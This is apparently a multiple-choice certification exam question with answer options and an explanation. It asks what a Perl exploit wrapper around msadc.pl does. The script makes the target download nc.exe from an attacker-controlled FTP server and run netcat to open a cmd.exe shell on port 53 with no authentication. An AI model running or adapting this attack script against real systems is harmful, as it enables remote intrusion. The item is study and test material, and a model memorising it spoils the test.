What is the expected result of the following exploit?
################################################################# $port = 53;# Spawn cmd.exe on port X
$your = “192.168.1.1”;# Your FTP Server
$user = “Anonymous”;# login as
$pass = ‘[email protected]’;# password
################################################################# $host = $ARGV[0];
print “Starting …\n”;
print “Server will download the file nc.exe from $your FTP server.\n”;
system(“perl msadc.pl -h $host -C \”echo open $your >sasfile\””);
system(“perl msadc.pl -h $host -C \”echo $user>>sasfile\””);
system(“perl msadc.pl -h $host -C \”echo $pass>>sasfile\””);
system(“perl msadc.pl -h $host -C \”echo bin>>sasfile\””);
system(“perl msadc.pl -h $host -C \”echo get nc.exe>>sasfile\””);
system(“perl msadc.pl -h $host -C \”echo get hacked.html>>sasfile\””);
system(“perl msadc.pl -h $host -C \”echo quit>>sasfile\””);
print “Server is downloading …\n”;
system(“perl msadc.pl -h $host -C \”ftp \-s\:sasfile\””);
print “Press ENTER when download is finished … (That’s why it’s good to have your own ftp server)\n”;
$o=<STDIN>; print “Opening …\n”;
system(“perl msadc.pl -h $host -C \”nc -l -p $port -e cmd.exe\””);
print “Done.\n”;
#system(“telnet $host $port”); exit(0);
A.
Opens up a telnet listener that requires no username or password
B.
Creates an FTP server with write permissions enabled
C.
Creates a share called “sasfile” on the target system
D.
Opens an account with a username of Anonymous and a password of [email protected]
Explanation:
The script being depicted is in perl (both msadc.pl and the script their using as a wrapper) — $port, $your, $user, $pass, $host are variables that hold the port # of a DNS server, an IP, username, and FTP password. $host is set to argument variable 0 (which means the string typed directly after the command). Essentially what happens is it connects to an FTP server and downloads nc.exe (the TCP/IP swiss-army knife — netcat)and uses nc to open a TCP port spawning cmd.exe (cmd.exe is the Win32 DOS shell on NT/2000/2003/XP), cmd.exe when spawned requires NO username or password and has the permissions of the username it is being executed as (probably guest in this instance, although it could be administrator). The #’s in the script means the text following is a comment, notice the last line in particular, if the # was removed the script would spawn a connection to itself, the host system it was running on.